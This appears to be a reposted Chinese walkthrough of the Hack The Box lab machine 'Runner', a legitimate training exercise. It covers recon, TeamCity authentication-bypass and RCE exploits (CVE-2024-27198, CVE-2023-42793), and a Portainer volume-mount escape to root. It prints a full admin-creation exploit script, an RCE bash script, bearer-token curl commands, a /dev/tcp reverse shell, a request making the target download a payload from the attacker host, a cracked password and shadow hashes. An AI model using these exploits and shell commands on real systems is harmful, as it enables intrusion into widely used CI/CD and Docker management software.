HTB Runner

2024-04-24 08:44
文章标签 htb runner

本文主要是介绍HTB Runner，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

Runner

User

Nmap

──(root㉿kali)-[/home/…/machine/SeasonV/linux/Runner]
└─# nmap -A runner.htb  -T 4   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 23:07 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.60% done; ETC: 23:07 (0:00:00 remaining)
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 23:07 (0:00:00 remaining)
Nmap scan report for runner.htb (10.129.177.97)
Host is up (0.40s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   418.59 ms 10.10.16.1
2   418.75 ms runner.htb (10.129.177.97)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.77 seconds

22，80，8000 三个外部开放端口

img

80跳转到runner.htb,添加hosts解析

img

80就是描述了一些CI|CD的信息

vhost

img

──(root㉿kali)-[/home/kali]
└─# gobuster vhost --append-domain -u http://runner.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt  --random-agent -t 600
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://runner.htb
[+] Method:          GET
[+] Threads:         600
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: http://enquetes.runner.htb Status: 400 [Size: 166]
Found: http://partner.runner.htb Status: 400 [Size: 166]
Found: http://mobility.runner.htb Status: 400 [Size: 166]
Found: https://archives.runner.htb Status: 400 [Size: 166]
Found: https://assurance.runner.htb Status: 400 [Size: 166]
Found: https://mobility.runner.htb Status: 400 [Size: 166]
Found: https://collaboratif.runner.htb Status: 400 [Size: 166]
Found: https://nomade.runner.htb Status: 400 [Size: 166]
Found: https://conseil.runner.htb Status: 400 [Size: 166]
Found: https://lvelizy.runner.htb Status: 400 [Size: 166]
Found: https://ee.runner.htb Status: 400 [Size: 166]
Found: https://igc.runner.htb Status: 400 [Size: 166]
Found: https://idees.runner.htb Status: 400 [Size: 166]
Found: https://www.runner.htb Status: 400 [Size: 166]
Found: https://webpam.runner.htb Status: 400 [Size: 166]
Found: https://protocoltraining.runner.htb Status: 400 [Size: 166]
Found: https://scm.runner.htb Status: 400 [Size: 166]
Found: https://sft.runner.htb Status: 400 [Size: 166]
Found: https://partner.runner.htb Status: 400 [Size: 166]
Found: https://pam.runner.htb Status: 400 [Size: 166]
Found: https://escale.runner.htb Status: 400 [Size: 166]
Found: teamcity.runner.htb Status: 302 [Size: 0] [--> /login.html]
Progress: 151265 / 151266 (100.00%)
===============================================================
Finished
===============================================================

发现了teamcity这个 新的vhost，刚好这个应用就是做CI|CD的

teamcity-cve

img

┌──(root㉿kali)-[/home/kali]
└─# nuclei -tags teamcity -u teamcity.runner.htb __     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.1.4projectdiscovery.io[INF] Current nuclei version: v3.1.4 (outdated)
[INF] Current nuclei-templates version: v9.8.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 142
[INF] Templates loaded for current scan: 6
[INF] Executing 6 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[teamcity-login-panel:version] [http] [info] http://teamcity.runner.htb/login.html [2023.05.3]
[teamcity-login-panel:build] [http] [info] http://teamcity.runner.htb/login.html [129390]
[CVE-2024-27199] [http] [high] http://teamcity.runner.htb/res/../admin/diagnostic.jsp
[CVE-2024-27198] [http] [critical] http://teamcity.runner.htb/hax?jsp=/app/rest/server;.jsp

发现了存在历史漏洞

CVE-2024-27198

可以添加一个新用户

Exploit:https://github.com/yoryio/CVE-2024-27198.git

img

img

RCE

Referer:JetBrains TeamCity 任意代码执行漏洞（CVE-2023-42793）研究 - 郑瀚Andrew - 博客园 (cnblogs.com)

import random
import requests
import argparse
import xml.etree.ElementTree as ETColor_Off="\033[0m" 
Black="\033[0;30m"        # Black
Red="\033[0;31m"          # Red
Green="\033[0;32m"        # Green
Yellow="\033[0;33m"       # Yellow
Blue="\033[0;34m"         # Blue
Purple="\033[0;35m"       # Purple
Cyan="\033[0;36m"         # Cyan
White="\033[0;37m"        # Whiteclass CVE_2023_42793:def __init__(self):self.url = ""self.session = requests.session()def username(self):name = "H454NSec"random_id = random.randint(1000, 9999)return f"{name}{random_id}"def delete_user_token(self, url):self.url = urlheaders = {"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0","Content-Type": "application/x-www-form-urlencoded","Accept-Encoding": "gzip, deflate"}try:response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)if response.status_code == 204 or  response.status_code == 404:self.create_user_token()except Exception as err:passdef create_user_token(self):headers = {"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0","Accept-Encoding": "gzip, deflate"}try:response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)if response.status_code == 200:response_text = response.textroot = ET.fromstring(response_text)value = root.get('value')if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):self.create_user(value)except Exception as err:passdef create_user(self, token):uname = self.username()headers = {"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0","Accept": "*/*","Authorization": f"Bearer {token}","Content-Type": "application/json",}creds = {"email": "","username": uname,"password": "@H454NSec","roles": {"role": [{"roleId": "SYSTEM_ADMIN","scope": "g"}]}}try:response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)if response.status_code == 200:print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")with open("vulnerable.txt", "a") as o:o.write(f"[{uname}:@H454NSec] {self.url}\n")except Exception as err:passif __name__ == '__main__':parser = argparse.ArgumentParser()parser.add_argument('-u', '--url', help='Url of the TeamCity')parser.add_argument('-l', '--list', help='List of urls')args = parser.parse_args()db = []url_list = args.listif url_list:try:with open(url_list, "r") as fr:for data in fr.readlines():db.append(data.strip())except Exception as err:print(err)elif args.url:db.append(args.url)cve = CVE_2023_42793()for ip in db:url = ip[:-1] if ip.endswith("/") else ipif not url.startswith("https://"):if not url.startswith("http://"):url = f"http://{url}"cve.delete_user_token(url)

img

漏洞就是存在一个未授权添加用户，并且存在一个调试接口可以执行命令，但是这个接口需要我们手动打开

  1. rest.debug.processes.enable

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" "http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties"

2.为了系统使用此选项，我们必须通过以下请求刷新服务器。

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" "http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties"

3.RCE

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" -X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=bash&params=-c whoami"

#!/bin/bashif [ "$#" -ne 3 ]; thenecho "Usage: $0 <base_url> <port> <command>"exit 1
fiBASE_URL="$1"
PORT="$2"
COMMAND="$3"TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2"
EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}"TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT")
BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+')curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' )curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"echo $RESPONSE

img

成功执行命令

ReverseShell

1.sh内容

bash -i>&/dev/tcp/10.10.16.6/4444 0>&1  

POST /app/rest/debug/processes?exePath=curl&params=10.10.16.6/1.sh&params=-o1.sh HTTP/1.1
Host: teamcity.runner.htb
User-Agent: curl/8.5.0
Accept: */*
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SEhpbXppWkY4UkF3Vkd5SlpaMENPQlozY0xz.Y2RlMzliOWYtMWEwZi00NDQ5LTgzNmMtNDE1NTgyNTVhMjU4
Content-Length: 0
Connection: close

通过这个数据包把1.sh下载到目标上

img

img

img

img

docker

img

我们当前的shell在docker环境里面

简单尝试发现逃逸不出docker

backup

img

得到两个原本就在系统里面的用户名

john 和 matthew

img

img

下载下来

id_rsa

将这个backup的zip解压后，存在一个叫config文件夹里面看到了一个私钥文件

img

img

来到这一层可以看到应该是matthew 这个用户的项目，所以这个私钥大概率也是他的- -,实际操作发现认证不了matthew 但是可以认证john，所以这种时候把所有用户都进行登录尝试

img

Root

img

前面拿到的teamcity导出的备份文件，里面有一个文件夹名为 database_dump，应该是数据库的导出备份文件

可以看到这里面有用户的hash

john 和 matthew 是原生用户

matthew

matthew 的密码能解出来

──(root㉿kali)-[/home/…/machine/SeasonV/linux/Runner]
└─# hashcat -m 3200 -a 0 matthew_hash /usr/share/wordlists/rockyou.txt --show
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123

portainer-administration.runner.htb

img

从nginx的配置文件中发现了一个新的vhost，指向9443端口

9443

img

通过ssh搭建socks代理

img

img

发现启动的服务是portainer.io,这是一个web端的docker管理应用

portainer.io

通过matthew : piper123

可以进入到系统内部

img

img

可以看到镜像列表在这里

Referer:Add a new volume | 2.19 | Portainer Documentation

通过官方文档得知我们可以创建一个挂载volumn,指向原host根目录

然后创建一个容器，使用这个volumn

img

创建一个volumn 指向 /

namevalue
device/
obind
typenone

img

image就使用自带的ubuntu:latest

img

Console 选择interctive和TTY

img

挂载到 /mnt/root

img

可以看到我们的容器启动成功了

img

img

img

此时我们已经进入到了宿主host的目录，可以查看宿主机下的文件

img

成功拿到root

Shadow

root@77f494de963f:/mnt/root/root/.ssh# cat ../../etc/shadow
root:$y$j9T$ANKO0Lgp1HOfm5nPIRoTX.$S4tkxOzaYLCUAy8deQR/4sayinxeXoQb.nGRDMGUa30:19788:0:99999:7:::
matthew:$y$j9T$VcVx4oj6/0sr8ldYLVrdx1$xNznv.vvbyLEM8S6/YKAfPHP6hoYg3oD1MWRNovVlx/:19781:0:99999:7:::
john:$y$j9T$rpK6N7DunMYlKLZJcOzCY1$lcPx9lbvGZBnn7ip/qQDho2NCF/UsOmYc1P2Ve/y6F2:19781:0:99999:7:::

In summary

User:

vhost→teamcity → CVE-2024-27198(bypass add user)→backup→id_rsa

Root:

database_dump → metthew → portainer-administartion(vhost) → mount volumn

这篇关于HTB Runner的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/931272。

相关文章

HTB-You know 0xDiablos

HTB-You know 0xDiablos

引言 项目概述：HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造，友好的为想要入手PWN的朋友解释了原理技术点涉及: 32位linux逆向、32位程序调用、栈溢出目标与读者：网络安全兴趣爱好者、PWN新手 基本情况 运行看看
阅读更多...
HTB-bike(SSTI模版注入)

HTB-bike(SSTI模版注入)

前言 大家好，我是qmx_07,今天给大家讲解bike靶场 渗透过程 信息搜集 服务器开放了 22 ssh 和 http80端口 Wappalyzer 介绍：Wappalyzer是一种浏览器扩展程序，用于识别正在访问的网站所使用的技术栈和工具，比如使用的web框架，编程语言等 服务器所使用Express框架 发现SSTI模版注入 可以看到这个输入框，用来输出 内容尝试x
阅读更多...
【中秋礼物推荐】南卡Runner Pro 5：安全聆听，健康相伴

【中秋礼物推荐】南卡Runner Pro 5：安全聆听，健康相伴

中秋节，月圆人团圆，是中华民族的传统佳节。在这个寓意着团聚与和谐的节日里，选择一份既实用又贴心的礼物，无疑是表达心意的最佳方式。而南卡Runner Pro 5骨传导耳机，以其独特的设计和卓越的性能，成为了中秋节送礼的不二之选。 南卡Runner Pro 5延续了品牌的简约风格，白色为主色调的盒子给人以清新之感，而侧拉式的开启方式则增加了开箱的乐趣，让人迫不及待想要一探究竟。耳机的设计符合
阅读更多...
HTB-lgnition(curl工具、yakit、 弱口令)

HTB-lgnition(curl工具、yakit、 弱口令)

前言 各位师傅大家好，我是qmx_07，今天来讲解lgnition靶机 渗透流程 信息搜集 服务器开放了80 http端口 curl工具 介绍：curl工具是一个用于发送HTTP请求的命令行工具。它支持多种协议，包括HTTP、HTTPS、FTP、SMTP等，并且支持各种常见的操作，如GET、POST、PUT、DELETE等。 -v显示输出与请求和响应相关的详细信息，包括请求头
阅读更多...
HTB-Crocodile(FTP和web综合利用)

HTB-Crocodile(FTP和web综合利用)

前言 各位师傅大家好，今天给大家讲解Crocodile靶机 渗透过程 信息搜集 服务器开放了21FTP和80HTTP服务思路：可以尝试 匿名登录FTP 或者 尝试WEB登录后台 FTP匿名登录 通过anonymous 匿名登录到FTP服务器allowed.userlist 和 allowed.usserlist.pass 分别是 账户和密码 Web目录爆破 服务器有
阅读更多...
中秋佳节，南卡Runner Pro5骨传导耳机让团圆更圆满！

中秋佳节，南卡Runner Pro5骨传导耳机让团圆更圆满！

中秋节，这个承载着温馨与团圆的节日，是向亲朋好友表达深情厚意的绝佳时刻。在这样一个特别的日子里，挑选一份既实用又充满科技感的礼物，无疑能够给人们带来惊喜与感动。南卡Runner Pro5骨传导耳机，凭借其创新的设计和卓越的性能，成为了中秋节送礼的不二之选。 骨传导耳机以其独特的声音传递方式，通过颅骨直接将声音传递到听觉神经，不堵塞耳道，有效保护听力，特别适合户外活动，确保安全的同时享受音
阅读更多...
HTB-Mongod（MongoDb数据库）

HTB-Mongod（MongoDb数据库）

前言 各位师傅大家好，我是qmx_07，今天给大家讲解Mongod靶场 Mongod 渗透过程 RustScan 介绍:Rustscan是一款用Rust语言开发的高速端口扫描器，它可以在3秒内扫描所有65535个端口，并支持脚本引擎和自适应学习功能，并且可以和nmap进行联动可以简单理解成 多线程的nmap扫描器 RustScan安装： 1.创建文件夹mkdir Rustsca
阅读更多...
【中秋特惠】南卡Runner Pro5：送给家人的科技健康礼！

【中秋特惠】南卡Runner Pro5：送给家人的科技健康礼！

中秋节，作为中国传统节日之一，是家人团聚、朋友相聚的时刻，也是表达心意、赠送礼物的好时机。在这个充满温情的节日里，选择一款既实用又具有科技感的礼物，无疑会让收到的人感到惊喜和温馨。南卡Runner Pro5骨传导蓝牙耳机，就是这样一款适合作为中秋节礼物的佳品。 骨传导技术是一种通过振动颅骨来传递声音的听音方式，与传统的入耳式耳机不同，骨传导耳机不需要将发声单元塞入耳道。这样不仅可以让使用
阅读更多...
使用GitHub Actions的Self-hosted runner

使用GitHub Actions的Self-hosted runner

登录github网站选择项目点击Settings按钮，进入设置页面点击actions/runners进入Runners页面点击New self-hosted runner按钮进入新增页面选择相应配置，生成相应的命令，在内网机器上运行 下载： # Create a folder$ mkdir actions-runner && cd actions-runner# Download the l
阅读更多...
HTB-Redeemer(redis)

HTB-Redeemer(redis)

前言 各位师傅大家好，我是qmx_07，今天给大家讲解Redeemer这台机器，主要是对redis组件进行渗透，了解思路 渗透过程 更改一下 目录结构，先写 渗透过程，再写 题解 信息搜集 通过nmap扫描 发现开启了6379 redis服务，尝试连接注意:nmap 扫描 可以先确定端口开放情况，在进行系统版本扫描，这样会快一些 连接redis数据库 使用redis-cl
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2